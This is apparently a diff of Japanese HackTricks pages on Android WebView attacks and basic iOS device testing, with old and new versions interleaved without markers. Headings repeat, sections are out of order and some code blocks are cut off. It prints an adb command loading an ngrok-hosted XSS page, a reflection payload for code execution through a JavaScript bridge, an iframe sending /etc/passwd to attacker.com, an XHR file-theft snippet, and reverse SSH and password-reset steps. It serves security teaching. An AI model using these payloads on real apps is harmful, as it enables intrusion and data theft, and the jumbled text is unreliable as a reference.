- **ファイルURLからのユニバーサルアクセス**: この非推奨の機能は、ファイルURLからのクロスオリジンリクエストを許可し、潜在的なXSS攻撃のための重大なセキュリティリスクを引き起こしました。Android Jelly Bean以降をターゲットにしたアプリのデフォルト設定は無効`false`)です。
- この設定を確認するには、`getAllowUniversalAccessFromFileURLs()`を使用します。
- この設定を変更するには、`setAllowUniversalAccessFromFileURLs(boolean)`を使用します。
* [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\))を使用して、ファイルスキームURLのコンテキストで実行されるJavaScriptが任意のオリジンのコンテンツにアクセスできるかどうかを確認しますUniversalAccessFromFileURLが有効な場合
* [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\))を使用して、有効/無効にします。
- **ファイルURLからのファイルアクセス**: この非推奨の機能も、他のファイルスキームURLからのコンテンツへのアクセスを制御しました。ユニバーサルアクセスと同様に、セキュリティを強化するためにデフォルトで無効になっています
- チェックするには`getAllowFileAccessFromFileURLs()`を使用し、設定するには`setAllowFileAccessFromFileURLs(boolean)`を使用します。
{% hint style="info" %}
`baseURL`を`null`として`loadDataWithBaseURL()`を使用すると、すべての危険な設定が有効になっていても、**ローカルファイルの読み込みが防止**されます。
{% endhint %}
#### **安全なファイルの読み込み**
#### ファイルURLからのファイルアクセス非推奨 <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
ファイルシステムへのアクセスを無効にしながらアセットやリソースにアクセスするには、`setAllowFileAccess()`メソッドが使用されます。Android R以降では、デフォルト設定は`false`です。
- `getAllowFileAccess()`で確認します。
- `setAllowFileAccess(boolean)`で有効または無効にします。
> ファイルスキームURLのコンテキストでのクロスオリジンリクエストが、他のファイルスキームURLからのコンテンツにアクセスできるように許可されるかどうかを設定します。ただし、画像HTML要素などの一部のアクセスは、同一オリジンルールに従わず、この設定の影響を受けません。
>
> **外部ソースによって作成または変更される可能性のあるファイルを開く場合は、この設定を有効にしないでください。**この設定を有効にすると、`file://`コンテキストでロードされた悪意のあるスクリプトが、WebViewのクッキーやアプリのプライベートデータなどの任意のローカルファイルにアクセスできるようになります。
#### **WebViewAssetLoader**
要約すると、これによりjavascriptが`file://`プロトコルを介してローカルファイルにアクセスすることが防止されます。\
ただし、[`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\))の値が`true`の場合、この設定の値は**無視されます**。\
[`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN)以上をターゲットにしている場合、**デフォルト値は`false`**です。
**WebViewAssetLoader**クラスは、ローカルファイルを読み込むための現代的なアプローチです。ローカルアセットやリソースにアクセスするためにhttp(s) URLを使用し、Same-Originポリシーに準拠しているため、CORS管理を容易にします。
* [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\))を使用して、ファイルスキームURLのコンテキストで実行されるJavaScriptが他のファイルスキームURLからコンテンツにアクセスできるかどうかを確認します。
* [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))を使用して、有効/無効にします。
#### ファイルアクセス
### **JavaScriptおよびIntentスキームの処理**
> WebView内での**ファイルアクセスを有効または無効**にします。ただし、これはファイルシステムへのアクセスのみを有効または無効にします。アセットとリソースは引き続き`file:///android_asset`および`file:///android_res`を使用してアクセスできます。
- **JavaScript**: WebViewではデフォルトで無効になっていますが、`setJavaScriptEnabled()`を使用して有効にできます。適切な保護措置なしにJavaScriptを有効にすると、セキュリティの脆弱性が導入される可能性があるため、注意が必要です。
要約すると、無効にすると、WebViewは`file://`プロトコルを使用してローカルファイルを読み込むことができません。\
[`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#R)以降をターゲットにしている場合、**デフォルト値は`false`**です。
- **Intentスキーム**: WebViewは`intent`スキームを処理でき、慎重に管理されていない場合には攻撃を引き起こす可能性があります。例として、公開されたWebViewパラメーター「support_url」が存在し、クロスサイトスクリプティングXSS攻撃を実行するために悪用される可能性がありました。
* 設定が有効かどうかを知るには、[`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess())を使用します。
* 有効または無効にするには、[`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess(boolean))を使用します。
![脆弱なWebView](../../.gitbook/assets/image%20(719).png)
#### WebViewAssetLoader
> [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html)クラス内でhttp(s):// URLを使用してアプリケーションの静的アセットやリソースを含むローカルファイルを読み込むためのヘルパークラスです。`"file://"`ではなくWebのようなURLを使用してローカルファイルを読み込むことは、同一オリジンポリシーと互換性があるため望ましいです。
これはローカルファイルを読み込むための新しい推奨方法です。目的は、**ドメインを使用してHTTP URLでローカルファイルにアクセス**することです。これにより、**ローカル**のWebページとWebサーバーからダウンロードされる**Webページ**との間で**CORS**を**簡単に**維持できます。
### JavaScriptの有効化
WebViewはデフォルトでJavaScriptが**無効**になっています。メソッド[`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled(boolean))を使用して明示的に有効または無効にできます。\
なお、WebViewは**`intent`スキーム**もサポートしており、他のアプリケーションを起動することができます。[この記事](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105)を読んでXSSからRCEに進む方法を見つけることができます。
以下は、パラメーター「support_url」を介してXSSに対して脆弱な公開されたWebviewの例ですこれはWebviewで読み込むURLを示すことができます
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
adbから次のようなものを使用してその脆弱性を悪用することが可能です
{% code overflow="wrap" %}
adbを使用した攻撃例:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
{% endcode %}
### Javascript Bridge
### Javascript BridgeJavascriptブリッジ
Androidで提供されている機能により、WebView内の**JavaScript**が**ネイティブAndroidアプリの機能**を呼び出すことができます。これは、`addJavascriptInterface`メソッドを利用して実現され、JavaScriptをネイティブAndroid機能と統合する_WebView JavaScriptブリッジ_と呼ばれます。このメソッドにより、WebView内のすべてのページが登録されたJavaScriptインターフェースオブジェクトにアクセスできるため、これらのインターフェースを介して機密情報が公開されるとセキュリティリスクが発生する可能性があるため、注意が必要です。
Androidでは、WebViewで実行されるJavaScriptが、`@JavascriptInterface`で注釈付けされた**Androidアプリのネイティブ関数を呼び出し、使用する方法**が提供されています。これは、_WebView JavaScriptブリッジ_または_ネイティブブリッジ_として知られています。
### 重要な考慮事項
`addJavascriptInterface`メソッドを使用すると、登録されたJavaScriptインターフェースオブジェクトに対して、そのWebView内で読み込まれるすべてのページから明示的にアクセス権限が付与されます。これは、ユーザーがアプリやドメインの外に移動した場合、他の外部ページもこれらのJavaScriptインターフェースオブジェクトにアクセスできる可能性があることを意味します。もし、これらのインターフェースを介して機密データが公開されている場合、潜在的なセキュリティリスクが存在する可能性があります。
- Androidバージョン4.2未満をターゲットとするアプリでは、悪意のあるJavaScriptを介してリモートコード実行を許可する脆弱性があるため、**極めて注意が必要**です。
> 警告Android 4.2APIレベル17以下をターゲットにしたアプリは、`addJavascriptInterface`の実装における欠陥に対して脆弱性があります。この欠陥は、悪意のあるJavaScriptがWebViewに注入された場合に、リフレクションを悪用してリモートコード実行が発生する攻撃です。これは、すべてのJavaオブジェクトメソッドがデフォルトでアクセス可能であるため注釈付きのメソッドのみでなく、発生しました。
#### JavaScriptブリッジの実装
#### 静的解析
- **JavaScriptインターフェース**はネイティブコードとやり取りでき、クラスメソッドがJavaScriptに公開される例が示されています。
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
```
- JavaScript Bridgeを有効にするには、WebViewにインターフェースを追加します
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
- JavaScriptを介した潜在的な悪用は、XSS攻撃を介して、公開されたJavaメソッドの呼び出しを可能にします。
```html
<script>alert(javascriptBridge.getSecret());</script>
```
JavaScriptのコードにアクセスできる場合、例えば、保存された**XSS**、**MITM**攻撃、またはWebView内でロードされる**悪意のあるウェブサイト**を介して、公開されたJavaメソッドを直接呼び出すことができます。
- リスクを軽減するために、APK と一緒に配信されるコードに対して**JavaScript ブリッジの使用を制限**し、リモートソースからの JavaScript の読み込みを防止します。古いデバイス向けには、最小 API レベルを 17 に設定します。
{% hint style="info" %}
この脆弱性を悪用しようとする場合、**攻撃者のウェブページへのオープンリダイレクト**を介してネイティブAndroidオブジェクトにアクセスする場合に注意してください。リダイレクトへのアクセスがモバイル**ブラウザ**を介して行われ、同じ**WebView**を使用しない場合、**ブラウザはネイティブAndroidオブジェクトにアクセスできません**。
{% endhint %}
### 反射ベースのリモートコード実行RCE
`addJavascriptInterface`が必要な場合は、次の点に注意してください:
* APKで提供される**JavaScriptのみ**がブリッジを使用できるようにする必要があります。例えば、各ブリッジされたJavaメソッドでURLを検証することによって`WebView.getUrl`を使用して、URLを確認します。
* リモートエンドポイントから**JavaScriptをロードしないでください**。つまり、アプリのドメイン内でページのナビゲーションを行い、他のすべてのドメインをデフォルトのブラウザChrome、Firefoxで開きます。
* レガシーの理由古いデバイスのサポートが必要な場合に必要な場合は、アプリのマニフェストファイルで最小APIレベルを少なくとも17に設定してください`<uses-sdk android:minSdkVersion="17" />`)。
### 反射を介したRCEへのJavaScriptブリッジ
[**この研究**](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/)で指摘されているようにRCEを取得するためのアイデアを得るためにチェックしてください、JavaScriptブリッジを見つけた場合、次のようなペイロードを使用して**反射**を介して**RCE**を取得することができる場合があります:
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
しかし、現代のアプリケーションでは、**`@JavascriptInterface`アノテーション**を使用することがあります。このアテーションは、JavascriptBridgeに対して、このアテーションが付いたメソッドのみが**公開**されることを示します。\
このシナリオでは、Reflectionを悪用して任意のコードを実行することはできません。
- ドキュメント化された方法により、特定のペイロードを実行することで反射を介した RCE を達成することができます。ただし、`@JavascriptInterface` アノテーションにより、権限のないメソッドへのアクセスが制限され、攻撃範囲が限定されます。
### リモートデバッグ
**リモートWebViewデバッグ**は、**Chrome Developer Tools**を使用してWebViewにアクセスすることができます。\
デバイスはPCからアクセス可能である必要がありますUSB、ローカルエミュレータ、ローカルネットワークなど、そしてデバッグ可能なWebViewが実行されている場合、**chrome://inspect/#devices**にアクセスします:
- **Chrome 開発者ツール**を使用して**リモートデバッグ**が可能であり、WebView コンテンツ内での相互作用や任意の JavaScript 実行が可能です。
![](<../../.gitbook/assets/image (525).png>)
#### リモートデバッグの有効化
**inspect**を選択すると、新しいウィンドウが開きます。このウィンドウでは、**WebView**のコンテンツとやり取りをすることができ、さらに**コンソール**タブから任意のJSコードを実行することもできます
![](<../../.gitbook/assets/image (526).png>)
**WebViewリモートデバッグ**を有効にするためには、次のようなことができます:
- アプリケーション内のすべての WebView でリモートデバッグを有効にするには:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
**この設定は、アプリケーションのすべてのWebViewに適用されます。**
{% hint style="info" %}
**WebViewのデバッグは、アプリケーションのマニフェストの`debuggable`フラグの状態に影響を受けません。`debuggable`が`true`の場合にのみWebViewデバッグを有効にしたい場合は、ランタイムでフラグをテストしてください。
{% endhint %}
- アプリケーションのdebuggable状態に基づいてデバッグを条件付きで有効にするには
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## ペイロード
## 任意のファイルの流出
### 任意のファイルを外部に持ち出す
```html
<iframe src="http://attacker.com/exfil?file=/etc/passwd"></iframe>
```
このペイロードは、WebView内のアプリケーションが任意のファイルを外部に持ち出すことができるようにします。攻撃者は、`src`属性を使用して外部のサーバーにファイルの場所を指定します。この例では、`/etc/passwd`ファイルが攻撃者のサーバーに送信されます。
この攻撃を防ぐためには、WebView内のアプリケーションが外部のリソースにアクセスできないようにする必要があります。また、ファイルのパスを検証し、信頼できるソースからのみのアクセスを許可する必要があります。
- XMLHttpRequestを使用して任意のファイルを流出させるデモ
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -193,19 +122,20 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
xhr.send(null);
```
## 参考文献
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

File diff suppressed because it is too large Load diff

View file

@ -1,438 +1,193 @@
# iOS基本テスト操作
# iOS Basic Testing Operations
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出する。
</details>
## iOSデバイスのUDIDの取得
## **iOSデバイスの識別とアクセスの要約**
{% hint style="info" %}
この操作は、デバイスを**USB**でコンピュータに**接続**し、デバイスが**ロック解除**されていることを前提としています。
{% endhint %}
### **iOSデバイスのUDIDの特定**
UDIDは、iOSデバイスを識別するための40桁の一意の文字列です。macOS Catalina以降では、UDIDをFinderアプリで見つけることができます。CatalinaではiTunesは使用できないため、Finderで接続されたiOSデバイスを選択し、iOSデバイスの名前の下にある情報をクリックして、UDIDを取得できます。UDIDの他に、シリアル番号、IMEIなどの有用な情報も見つけることができます。
iOSデバイスを一意に識別するためには、UDIDとして知られる40桁のシーケンスが使用されます。macOS Catalina以降では、これは**Finderアプリ**で見つけることができます。USB経由で接続され、Finderで選択されたデバイスは、名前の下の詳細がクリックされると、そのUDIDを含む他の情報が表示されます。
![](<../../.gitbook/assets/image (471).png>)
Catalinaより前のmacOSバージョンでは、UDIDの発見を支援するのはiTunesです。詳しい手順は[こちら](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)で見つけることができます。
Catalinaより前のmacOSバージョンを使用している場合は、[iTunesを介してiOSデバイスのUDIDを見つけることができます](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)。デバイスを選択し、サマリータブで「シリアル番号」をクリックします。これにより、UDIDを含むiOSデバイスのさまざまなメタデータを確認できます。
また、デバイスがUSBで接続されている間に、macOS上のさまざまなコマンドラインツールを使用してUDIDを取得することも可能です。
* [I/O Registry Explorer](https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html)ツール`ioreg`を使用する方法:
コマンドラインツールを使用すると、UDIDを取得するための代替手法が提供されます:
* **I/O Registry Explorerツール `ioreg` を使用する:**
```bash
$ ioreg -p IOUSB -l | grep "USB Serial"
| "USB Serial Number" = "9e8ada44246cee813e2f8c1407520bf2f84849ec"
```
* [ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller)を使用する方法Linuxでも利用可能
* **`ideviceinstaller`をmacOSおよびLinuxで使用する方法:**
```bash
$ brew install ideviceinstaller
$ idevice_id -l
316f01bd160932d2bf2f95f1f142bc29b1c62dbc
```
* system\_profilerを使用する方法
* **`system_profiler`の利用:**
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
2019-09-08 10:18:03.920 system_profiler[13251:1050356] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
Serial Number: 64655621de6ef5e56a874d63f1e1bdd14f7103b1
```
* instrumentsを使用する方法
* **`instruments`を使用してデバイスをリストする:**
```bash
$ instruments -s devices
```
### **デバイスシェルへのアクセス**
## デバイスシェルへのアクセス
**SSHアクセス**は、**OpenSSHパッケージ**をジェイルブレイク後にインストールすることで有効になり、`ssh root@<device_ip_address>`を介して接続が可能になります。デバイスを保護するために、ユーザー`root`と`mobile`のデフォルトパスワード(`alpine`)を変更することが重要です。
デバイスをジェイルブレイクした後、**Cydia**のような新しいアプリマネージャーをインストールする必要があります。
### SSH
iOSデバイスへのSSHアクセスを有効にするには、**OpenSSH**パッケージをインストールします。インストール後、`ssh root@<device_ip_address>`を実行してデバイスにssh経由でアクセスできます。これにより、rootユーザーとしてログインします。
**USB経由のSSH**はWi-Fiが利用できない場合に必要となり、`iproxy`を使用してデバイスポートをSSH接続用にマッピングします。このセットアップにより、USB経由でSSHアクセスを可能にすることができます。以下を実行します
```bash
$ ssh root@192.168.197.234
root@192.168.197.234's password:
iPhone:~ root#
```
iOSデバイスにSSHでアクセスする際には、以下の点に注意してください
* デフォルトのユーザーは`root`と`mobile`です。
* 両方のデフォルトの**パスワード**は**`alpine`**です。
> 同じネットワーク上の誰でもデバイスのIPアドレスを見つけて、よく知られたデフォルトのパスワードを使用して接続することができるため、`root`と`mobile`のデフォルトのパスワードを変更することを忘れないでください。これにより、デバイスへのルートアクセスが提供されます。
### **USB経由でデバイスにSSH接続する**
実際のブラックボックステストでは、信頼性のあるWi-Fi接続が利用できない場合があります。このような状況では、usbmuxdを使用してUSB経由でデバイスのSSHサーバーに接続することができます。
macOSをiOSデバイスに接続するには、iproxyをインストールして起動します
```bash
$ brew install libimobiledevice
$ iproxy 2222 22
waiting for connection
```
上記のコマンドは、iOSデバイスのポート`22`をlocalhostのポート`2222`にマッピングします。また、[iproxyをバックグラウンドで自動実行することもできます](https://iphonedevwiki.net/index.php/SSH\_Over\_USB)。これにより、USB経由でSSHを実行するたびにバイナリを実行する必要がなくなります。
次のコマンドを新しいターミナルウィンドウで実行すると、デバイスに接続できます。
```bash
$ ssh -p 2222 root@localhost
root@localhost's password:
iPhone:~ root#
```
> iDeviceのUSBに関する小さな注意点iOSデバイスでは、iOS 11.4.1で導入されたUSB制限モードにより、ロック状態が1時間経過すると、再度ロックを解除しない限り、データ接続を行うことはできません。
### デバイス上のシェルアプリ
通常、リモートシェルに比べてデバイス上のシェル(ターミナルエミュレータ)を使用することは非常に手間がかかるかもしれませんが、ネットワークの問題や設定の確認などのデバッグに便利です。たとえば、[NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/)をCydia経由でインストールすることができますこの記事執筆時点ではiOS 6.0から12.1.2をサポートしています)。
さらに、いくつかのジェイルブレイクでは、セキュリティ上の理由からSSHの受信を明示的に無効にしています。その場合、デバイスからリバースシェルでデバイス外にSSH接続し、その後ホストコンピュータから接続するために、デバイス上のシェルアプリが非常に便利です。
SSHを介してリバースシェルを開くには、次のコマンドを実行します`ssh -R <remote_port>:localhost:22 <username>@<host_computer_ip>`。
デバイス上のシェルアプリで以下のコマンドを実行し、求められた場合はホストコンピュータの`mstg`ユーザーのパスワードを入力してください:
```bash
ssh -R 2222:localhost:22 mstg@192.168.197.235
```
ホストコンピュータで次のコマンドを実行し、求められたらiOSデバイスの`root`ユーザーのパスワードを入力してください:
```bash
$ ssh -p 2222 root@localhost
```
### **パスワードを忘れた場合**
**オンデバイスシェルアプリケーション**のようなNewTerm 2は、トラブルシューティングに特に役立つ、デバイスと直接やり取りを行うことができます。**リバースSSHシェル**を確立して、ホストコンピュータからリモートアクセスすることもできます。
パスワードを忘れて、デフォルトの **`alpine`** にリセットしたい場合は以下の手順を実行します:
### **忘れたパスワードのリセット**
1. デバイス内の **ターミナル****Filza****iFile** のようなアプリを使用して、jailbroken iOS デバイス上の `/private/etc/master.passwd` ファイルを編集します。
2. 次の行を見つけます:
忘れたパスワードをデフォルト値(`alpine`)にリセットするには、`/private/etc/master.passwd`ファイルを編集する必要があります。これには、既存のハッシュを`root`と`mobile`ユーザーエントリの隣にある`alpine`のハッシュで置き換える作業が含まれます。
## **データ転送技術**
### **アプリデータファイルの転送**
**SSHとSCPを使用したアーカイブと取得:** `tar`を使用してアプリケーションのDataディレクトリをアーカイブし、次に`scp`を使用して転送するのは簡単です。以下のコマンドは、Dataディレクトリを.tgzファイルにアーカイブし、その後デバイスから取得します
```bash
root:xxxxxxxxx:0:0::0:0:System Administrator:/var/root:/bin/sh
mobile:xxxxxxxxx:501:501::0:0:Mobile User:/var/mobile:/bin/sh
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
exit
scp -P 2222 root@localhost:/tmp/data.tgz .
```
3. `xxxxxxxxx``/smx7MYTQIi2M` に変更します(これはパスワード `alpine` のハッシュです)。
4. 保存して終了します。
### **グラフィカルユーザーインターフェースツール**
## データの転送
**iFunboxとiExplorerの使用:** これらのGUIツールは、iOSデバイス上のファイルを管理するのに便利です。ただし、iOS 8.4以降、Appleはこれらのツールがアプリケーションサンドボックスへのアクセスを制限しましたデバイスがジェイルブレイクされていない限り
### SSH と SCP を使用したアプリデータファイルのコピー
### **Objectionを使用したファイル管理**
アプリのファイルはデータディレクトリに保存されていることがわかりました。`tar` を使用してデータディレクトリをアーカイブし、`scp` を使用してデバイスから取得することができます。
**Objectionを使用したインタラクティブシェル:** Objectionを起動すると、アプリのBundleディレクトリにアクセスできます。ここから、アプリのDocumentsディレクトリに移動してファイルを管理し、iOSデバイスとの間でファイルのダウンロードやアップロードを行うことができます。
```bash
iPhone:~ root# tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
iPhone:~ root# exit
$ scp -P 2222 root@localhost:/tmp/data.tgz .
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
file download <filename>
```
### iFunboxの使用
## **アプリの取得と抽出**
[iFunbox](https://www.i-funbox.com/en/page-download.html)は、複数のことに使用できるGUIアプリケーションですファイルのアップロード/ダウンロードなど)。\
この目的のための別のGUIツールは[iExplorer](https://macroplant.com/iexplorer)です。
### **IPAファイルの取得**
{% hint style="info" %}
iOSバージョン8.4以降、Appleは**サードパーティのマネージャがアプリケーションのサンドボックスにアクセスすることを制限**しています。そのため、デバイスがジェイルブレイクされていない場合、iFunboxやiExplorerのようなツールはデバイスにインストールされたアプリからファイルを表示/取得できなくなります。
{% endhint %}
### Objectionの使用
Objectionを起動すると`objection --gadget com.apple.mobilesafari explorer`、Bundleディレクトリ内にプロンプトが表示されます。
**Over-The-Air (OTA)ディストリビューションリンク:** OTA経由でテスト用に配布されるアプリは、ITMSサービスアセットダウンローダーツールを使用してダウンロードできます。このツールはnpmを介してインストールされ、IPAファイルをローカルに保存するために使用されます。
```bash
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # pwd print
Current directory: /var/containers/Bundle/Application/DABF849D-493E-464C-B66B-B8B6C53A4E76/org.owasp.MSTG.app
```
`env`コマンドを使用して、アプリのディレクトリを取得し、Documentsディレクトリに移動します。
```bash
envコマンドを使用して、アプリのディレクトリを取得します。
```bash
env
```
Documentsディレクトリに移動します。
```bash
cd /path/to/Documents
```
```
```bash
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
/var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
```
`file download <filename>`コマンドを使用すると、iOSデバイスからホストコンピュータにファイルをダウンロードし、その後解析することができます。
```bash
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # file download .com.apple.mobile_container_manager.metadata.plist
